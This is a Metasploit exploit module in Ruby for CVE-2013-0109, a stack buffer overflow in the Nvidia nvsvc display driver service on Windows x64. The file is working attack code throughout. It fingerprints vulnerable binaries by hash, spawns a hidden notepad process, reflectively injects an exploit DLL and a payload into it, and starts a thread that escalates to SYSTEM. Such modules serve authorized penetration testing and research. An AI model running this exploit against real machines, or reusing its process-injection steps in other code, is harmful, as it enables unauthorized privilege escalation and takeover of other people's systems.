##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/process'
require 'msf/core/post/windows/reflective_dll_injection'
require 'msf/core/post/windows/services'

class MetasploitModule < Msf::Exploit::Local
  Rank = AverageRanking

  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::ReflectiveDLLInjection
  include Msf::Post::Windows::Services

  def initialize(info={})
    super(update_info(info, {
      'Name'            => 'Nvidia (nvsvc) Display Driver Service Local Privilege Escalation',
      'Description'     => %q{
        The named pipe, \pipe\nsvr, has a NULL DACL allowing any authenticated user to
        interact with the service. It contains a stacked based buffer overflow as a result
        of a memmove operation. Note the slight spelling differences: the executable is 'nvvsvc.exe',
        the service name is 'nvsvc', and the named pipe is 'nsvr'.

        This exploit automatically targets nvvsvc.exe versions dated Nov 3 2011, Aug 30 2012, and Dec 1 2012.
        It has been tested on Windows 7 64-bit against nvvsvc.exe dated Dec 1 2012.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Peter Wintersmith', # Original exploit
          'Ben Campbell',   # Metasploit integration
        ],
      'Arch'            => ARCH_X64,
      'Platform'        => 'win',
      'SessionTypes'    => [ 'meterpreter' ],
      'DefaultOptions'  =>
        {
          'EXITFUNC'    => 'thread',
        },
      'Targets'         =>
        [
          [ 'Windows x64', { } ]
        ],
      'Payload'         =>
        {
          'Space'       => 2048,
          'DisableNops' => true,
          'BadChars'    => "\x00"
        },
      'References'      =>
        [
          [ 'CVE', '2013-0109' ],
          [ 'OSVDB', '88745' ],
          [ 'URL', 'http://nvidia.custhelp.com/app/answers/detail/a_id/3288' ],
        ],
      'DisclosureDate' => 'Dec 25 2012',
      'DefaultTarget'  => 0
    }))

  end

  def check
    vuln_hashes = [
      '43f91595049de14c4b61d1e76436164f',
      '3947ad5d03e6abcce037801162fdb90d',
      '3341d2c91989bc87c3c0baa97c27253b'
    ]

    os = sysinfo["OS"]
    if os =~ /windows/i
      svc = service_info 'nvsvc'
      if svc and svc[:display] =~ /NVIDIA/i
        vprint_good("Found service '#{svc[:display]}'")

        begin
          if is_running?
            vprint_good("Service is running")
          else
            vprint_error("Service is not running!")
          end
        rescue RuntimeError => e
          vprint_error("Unable to retrieve service status")
          return Exploit::CheckCode::Unknown
        end

        if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
          path = svc[:path].gsub('"','').strip
          path.gsub!("system32","sysnative")
        else
          path = svc[:path].gsub('"','').strip
        end

        begin
          hash = client.fs.file.md5(path).unpack('H*').first
        rescue Rex::Post::Meterpreter::RequestError => e
          print_error("Error checking file hash: #{e}")
          return Exploit::CheckCode::Detected
        end

        if vuln_hashes.include?(hash)
          vprint_good("Hash '#{hash}' is listed as vulnerable")
          return Exploit::CheckCode::Vulnerable
        else
          vprint_status("Hash '#{hash}' is not recorded as vulnerable")
          return Exploit::CheckCode::Detected
        end
      else
        return Exploit::CheckCode::Safe
      end
    end
  end

  def is_running?
    begin
      status = service_status('nvsvc')
      return (status and status[:state] == 4)
    rescue RuntimeError => e
      print_error("Unable to retrieve service status")
      return false
    end
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    unless check == Exploit::CheckCode::Vulnerable
      fail_with(Failure::NotVulnerable, "Exploit not available on this system.")
    end

    print_status("Launching notepad to host the exploit...")

    windir = session.sys.config.getenv('windir')
    # Forceably run the 32-bit notepad because our payload is 32-bit even though
    # we're running on x64.
    cmd = "#{windir}\\SysWOW64\\notepad.exe"
    process = client.sys.process.execute(cmd, nil, {'Hidden' => true})
    host_process = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)
    print_good("Process #{process.pid} launched.")

    print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
    library_path = ::File.join(Msf::Config.data_directory,
                               "exploits",
                               "CVE-2013-0109",
                               "nvidia_nvsvc.x86.dll")
    library_path = ::File.expand_path(library_path)

    print_status("Injecting exploit into #{process.pid} ...")
    exploit_mem, offset = inject_dll_into_process(host_process, library_path)

    print_status("Exploit injected. Injecting payload into #{process.pid}...")
    payload_mem = inject_into_process(host_process, payload.encoded)

    # invoke the exploit, passing in the address of the payload that
    # we want invoked on successful exploitation.
    print_status("Payload injected. Executing exploit...")
    host_process.thread.create(exploit_mem + offset, payload_mem)

    print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
  end
end

